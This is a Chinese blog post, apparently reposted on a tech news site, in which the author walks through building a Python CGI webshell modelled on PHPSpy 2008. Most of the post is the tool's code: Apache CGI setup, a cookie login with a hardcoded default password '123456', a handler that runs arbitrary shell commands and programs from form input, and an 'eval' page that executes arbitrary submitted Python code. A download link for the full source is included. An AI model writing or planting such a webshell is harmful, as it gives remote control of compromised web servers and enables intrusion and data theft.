返回顶部
首页 > 资讯 > 后端开发 > Python >python实战--Python Web
  • 166
分享到

python实战--Python Web

实战pythonWeb 2023-01-31 03:01:42 166人浏览 安东尼

Python 官方文档:入门教程 => 点击学习

摘要

   最近在研究WEBshell,于是打算写一个python版的WebShell,使用的是cgi, Apache配置文件Http.conf需做如下: 我的cgi脚本放到F:\py_cgi目录下,其中cgi-script指定脚本后缀名,例如

   最近在研究WEBshell,于是打算写一个python版的WebShell,使用的是cgi, Apache配置文件Http.conf需做如下:

我的cgi脚本放到F:\py_cgi目录下,其中cgi-script指定脚本后缀名,例如

AddHandler cgi-script .py
ScriptAlias /cgi-bin/ "F:/py_cgi/"
<Directory "F:/py_cgi">
    AllowOverride None
    Options All
    Order allow,deny
    Allow from all
</Directory>

这个WebShel0l实现模仿了PHPSpy 2008,但功能没有那么强大,我会利用业余时间慢慢加强,下面先看看效果。


经典的登录框:密码默认:123456



首页显示: 其中文件管理是最烦的,目前只有显示功能,其余操作,等待添加


下面这是命令执行,支持调用程序传递参数,支持执行命令

这是一些系统信息,貌似通过cgi模块,很多变量获取不到,我也没做特殊处理(ps,偷偷懒)



下面是执行Python命令


下面将介绍各个模块实现。

有一些全局变量和函数需要说明:

from os import environ
fORM = cgi.FieldStorage()

# ===================== 程序配置 =====================
admin={}
# 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
admin['check'] = True
admin['pass'] = '123456'

# 如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
# cookie 前缀
admin['cookiepre'] = '';
# cookie 作用域
admin['cookiedomain'] = '';
# cookie 作用路径
admin['cookiepath'] = '/';
# cookie 有效期
admin['cookielife'] = 86400;

# ===================== 配置结束 =====================

self = os.path.basename(__file__)
timestamp = time.time()

def getcookie(key):
    if environ.has_key('HTTP_COOKIE'):
       for cookie in environ['HTTP_COOKIE'].split(';'):
            k , v = cookie.split('=')
            if key == k:
                return v
    return ""


def getvalue(key):
    if form.has_key(key):
        return form.getvalue(key)
    return ""
Cookie是存储在CGI环境变量HTTP_COOKIE的,他们将有以下的形式.

key1=value1;key2=value2;key3=value3....

如果对Python cgi不熟悉的可以参考这篇博文:http://www.yiibai.com/python/python_cgi_programming.html(ps:里面也有一些小错误,需要注意)

登陆支持cookie,可以启用验证和关闭验证,代码如下:

def login():
    if admin["check"]:
        if getvalue("doing") == "login":
            if admin["pass"] == getvalue("passWord"):
                print "Set-Cookie:Pyspypass=%s" % admin["pass"]
                #print "Set-Cookie:Expires=Tuesday, 31-Dec-2014 23:12:40 GMT"
                print "Content-type:text/html"
                print
                index()
                return
        if getcookie('Pyspypass') != admin['pass']:
            print "Content-type:text/html"
            print
            loginpage()
        else:
            print "Content-type:text/html"
            print
            index()

其中getvalue是获取表单参数,getcookie是获取cookie信息。

命令执行是通过subprocess.Popen和os.execve实现,比较简单,代码如下:

def do_shell():
    log = "/c net start > %s%slog.txt" %(os.getcwd(),os.sep)
    if sys.platform == "win32":
        path ,args ,com = "c:\windows\system32\cmd.exe" ,log ,"ipconfig"
    elif sys.platform == "linux2":
        path ,args ,com = "/bin/bash" ,"--help" ,"ifconfig"
    else:
        path ,args ,com = "" ,"" ,""

    shell_cmd = getvalue("command").strip()
    shell_pro = getvalue("program").strip()
    is_cmd = True if shell_cmd !="" else False
    is_pro = True if shell_pro !="" else False

    program = shell_pro or path
    parameter = getvalue("parameter").strip() or args
    command =  shell_cmd or com

    result = ""
    if is_cmd:
        p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        result = "".join(p.stdout.readlines())

    shell = """
    <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td>
    <form name="form1" id="form1" action="" method="post" >
    <h2>Execute Program »</h2>
    <input id="action" type="hidden" name="action" value="shell" />
    <p>Program<br /><input class="input" name="program" id="program" value="%s" type="text" size="100"  /></p>
    <p>
    Parameter<br /><input class="input" name="parameter" id="parameter" value="%s" type="text" size="100"  />
    <input class="bt" name="submit" id="submit" value="Execute" type="submit" size="100"  />
    </p>
    </form>
    <form name="form1" id="form1" action="" method="post" >
    <h2>Execute Command »</h2>
    <input id="action" type="hidden" name="action" value="shell" />
    <p>Command<br /><input class="input" name="command" id="command" value="%s" type="text" size="100"  />
    <input class="bt" name="submit" id="submit" value="Execute" type="submit" size="100"  /></p>
    </form>
    <pre> %s </pre>
    </td></tr>
    </table>
    """ % (program,parameter,command,result)
    print shell

    if is_pro:
        os.execve(program, parameter.split(), os.environ)
python命令执行通过execfile实现:

def do_eval():
    code = getvalue("pythoncode")
    tmp = open("temp.py","w")
    tmp.write(code)
    tmp.close()
    file=StringIO.StringIO()
    if code != "":
        stdout=sys.stdout
        sys.stdout=file
        try:
            execfile("temp.py")
        except Exception,e:
            file.write(str(e))
        sys.stdout=stdout
    os.remove("temp.py")

    eval = """
    <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td>
    <form name="form1" id="form1" action="" method="post" >
    <h1> <pre>%s</pre> </h1>
    <h2>Eval Python Code »</h2>
    <input id="action" type="hidden" name="action" value="eval" />
    <p>Python Code<br /><textarea class="area" id="phpcode" name="pythoncode" cols="100" rows="15" >%s</textarea></p>
    <p><input class="bt" name="submit" id="submit" type="submit" value="Submit"></p>
    </form>
    </td></tr></table>
    """ % (file.getvalue(),code)
    print eval

为了获取执行的结果,我们将标准输出重定向到内存(StringIO),StringIO相当好用。本来是用exec实现的,但发现在执行时需要处理缩进,太复杂了。

所有的调度是通过do_handler函数实现的。

def handler():
    action = getvalue("action")
    if action == "" or action == "file":
        do_file()
    elif action == "shell":
        do_shell()
    elif action == "env":
        do_env()
    elif action == "eval":
        do_eval()

很简单,具体原理主要是通过点击超链接,通过js调用隐形表单,cgi.form获取“action”值。由于WebShell需要在一个文件中,所以使用了很多的隐形表单,不然不好区分不同的操作。

文件操作中获取权限代码如下:

def getPerms(path):
    user = {}
    group = {}
    other = {}
    mode = os.stat(path)[stat.ST_MODE]
    perm = oct(mode)[-4:]
    type = ""

    if stat.S_ISDIR(mode):
        type = 'd'
    elif stat.S_ISLNK(mode):
        type = 'l'
    elif stat.S_ISCHR(mode):
        type = 'c'
    elif stat.S_ISBLK(mode):
        type = 'b'
    elif stat.S_ISREG(mode):
        type = '-'
    elif stat.S_ISFIFO(mode):
        type = 'p'
    elif stat.S_ISSOCK(mode):
        type = 's'
    else:
        type = '?'

    user['read'] = 'r' if (mode & 00400) else '-'
    user['write'] = 'w' if (mode & 00200) else '-'
    user['execute'] = 'x' if (mode & 00100) else '-'
    group['read'] = 'r' if (mode & 00040) else '-'
    group['write'] = 'w' if (mode & 00020) else '-'
    group['execute'] = 'x' if (mode & 00010) else '-'
    other['read'] = 'r' if (mode & 00004) else '-'
    other['write'] = 'w' if (mode & 00002) else '-'
    other['execute'] = 'x' if (mode & 00001) else '-'

    return perm,type+user['read']+user['write']+user['execute']+group['read']+group['write']+group['execute']+other['read']+other['write']+other['execute']

所有代码如下,文件操作模块比较乱,功能有待加强,代码还不完整。

 代码下载:http://download.csdn.net/detail/yueguanghaidao/5760451


 


--结束END--

本文标题: python实战--Python Web

本文链接: https://lsjlt.com/news/187255.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • python实战--Python Web
       最近在研究WebShell,于是打算写一个Python版的WebShell,使用的是cgi, Apache配置文件http.conf需做如下: 我的cgi脚本放到F:\py_cgi目录下,其中cgi-script指定脚本后缀名,例如...
    99+
    2023-01-31
    实战 python Web
  • Python web实战 | 用 Flask 框架快速构建 Web 应用【实战】
     概要 Python web 开发已经有了相当长的历史,从最早的 CGI 脚本到现在的全栈 Web 框架,现在已经成为了一种非常流行的方式。 Python 最早被用于 Web 开发是在 1995 年(90年代早期),当时使用 CGI ...
    99+
    2023-09-22
    python 前端 flask webkit
  • Python廖雪峰实战web开发(Day
    MVC:Model-View-Controller,中文名“模型-视图-控制器”。 其中Python处理的URL函数就是C:Controller,Controller主要负责业务逻辑,比如检查用户名是否存在,取出用户信息等等; ...
    99+
    2023-01-31
    实战 廖雪峰 Python
  • Python web实战 | Docker+Nginx部署python Django Web项目详细步骤【干货】
      概要 在这篇文章中,我将介绍如何使用 Docker 和 Nginx 部署 Django Web 项目。一步步讲解如何构建 Docker 镜像、如何编写 Docker Compose 文件和如何配置 Nginx。 1. Dock...
    99+
    2023-10-21
    python 前端 docker nginx
  • python实战
    这个实战内容包含,selenium、pyquery、re、pymongopymongo安装去这里:https://blog.51cto.com/13155409/2125020实战抓取淘宝美食信息并且存入MongoDB数据库中 实现源码如下...
    99+
    2023-01-31
    实战 python
  • Python实战(5)Python和Sh
    Shell使用系统tar Python使用tarfile模块,Python不开多线程的情况两者做文件打包压缩对比。 Shell代码   #!/bin/sh - # Bak_rsync_Shell.sh version  shell_dir=...
    99+
    2023-01-31
    实战 Python Sh
  • python web实例
    #引入包 import web #定义访问路径 urls = ( '/(.*)', 'hello' ) #定义app app = web.application(urls, globals()) ...
    99+
    2023-01-31
    实例 python web
  • python-爬虫实战
    想看看最近的电影院播放的今日影视,就以这个网址https://movie.douban.com/people/1166776/为例,先使用urllib.request模块抓取整个网页,再使用re模块获取影视信息 编写simpleCrawle...
    99+
    2023-01-30
    爬虫 实战 python
  • Django Python实战(一)
    这段日子决定学习python,开发一个运维系统,所有记录自己写下的点点滴滴 直接开始,不说废话了 好的开发首先需要一个好的开发平台,首先需要安装eclipse+python插件   1 python基础 主要说到python的基本几个方面:...
    99+
    2023-01-31
    实战 Django Python
  • [Python实战]Python制作天气
    来源:Python高效编程作者:flywind以前,公众号分享了如何使用 PyQt5 制作猜数游戏和计时器,这一次,我们继续学习:如何使用 PyQt5 制作天气查询软件。开发环境Python3PyQt5requests准备工作首先要获取不同...
    99+
    2023-01-31
    实战 天气 Python
  • WEB渗透实战
    文章目录 文件上传漏洞WebShell文件上传漏洞原理 跨站脚本攻击跨站脚本的含义XSS的攻击途径跨站脚本的危害 SQL注入漏洞注入原理寻找注入点SQLMAP具体实践 SQL盲注...
    99+
    2023-09-12
    前端 web安全 安全
  • Python入门到实战 Python的修
    Python的修炼之道(入门语法、游戏开发、网络编程)课程讲师:小强老师课程分类:Python适合人群:初级课时数量:43课时用到技术:Python涉及项目:数据库应用程序开发 游戏开发咨询QQ:1337192913课程设计思路及目标:本课...
    99+
    2023-01-31
    实战 入门 Python
  • 《Python高效开发实战》实战演练——
    在完成Django项目和应用的建立后,即可以开始编写网站应用代码,这里通过为注册页面显示一个欢迎标题,来演示Django的路由映射功能。1)首先在djangosite/app/views.py中建立一个路由响应函数:from django....
    99+
    2023-01-31
    实战 高效 Python
  • python groupby用法实战
    背景 已知某航空公司拥有的飞机数量如下图示,现要求在EXCEL表中,计算出各个机型每种座位布局的飞机数量在该种机型飞机总量中所占的比重。 代码实现 #导入原始数据表 import pandas as pd dt=pd.read...
    99+
    2023-01-31
    实战 python groupby
  • python Web开发 flask轻量级Web框架实战项目--学生管理系统
     上次发的一篇文章,有很多朋友私信我要后面的部分,那咱们就今天来一起学习一下吧,因为我的数据库这门课选中的课题是学生管理系统,所以今天就以这个课题为例子,从0到1去实现一个管理系统。数据库设计部分我会专门出一个博客的,敬请期待吧~~~ ...
    99+
    2023-09-03
    flask python 后端
  • Python如何实现WEB
    这篇文章主要介绍Python如何实现WEB,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!Python实现WEB测试环境: 服务器配置: 4 x Intel(R) Xeon(R) CPU E5405 @ 2.00GHz...
    99+
    2023-06-17
  • 【Python实战】Python采集情感音频
    成年人的世界真不容易啊 总是悲伤大于欢喜 爱情因为懵懂而快乐 却走进了复杂和困惑的婚姻 前言 我最近喜欢去听情感类的节目,比如说,婚姻类,我可能老了吧。我就想着怎么把音乐下载下来了,保存到手机上,方便我们业余时间去听。 环境使用 ...
    99+
    2023-09-05
    python 爬虫 音视频
  • Python基础实战总结
    目录一、思路二、解决方法1)TXT文件存储2)CSV文件存储三、总结前言: 前几天有个叫【-berry】的粉丝在Python交流群里问了一道关于大学生Python题目的问题,如下图...
    99+
    2024-04-02
  • python网络爬虫实战
    目录一、概述二、原理三、爬虫分类1、传统爬虫2、聚焦爬虫3、通用网络爬虫(全网爬虫)四、网页抓取策略1、宽度优先搜索:2、深度优先搜索:3、最佳优先搜索:4、反向链接数策略:5、Pa...
    99+
    2024-04-02
  • python 实战 登录注册
    #!/usr/bin/env python #coding:utf-8 fo=open("user.txt") ''' num=1 while True:         line=fo.readline() #       print r...
    99+
    2023-01-31
    实战 python
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作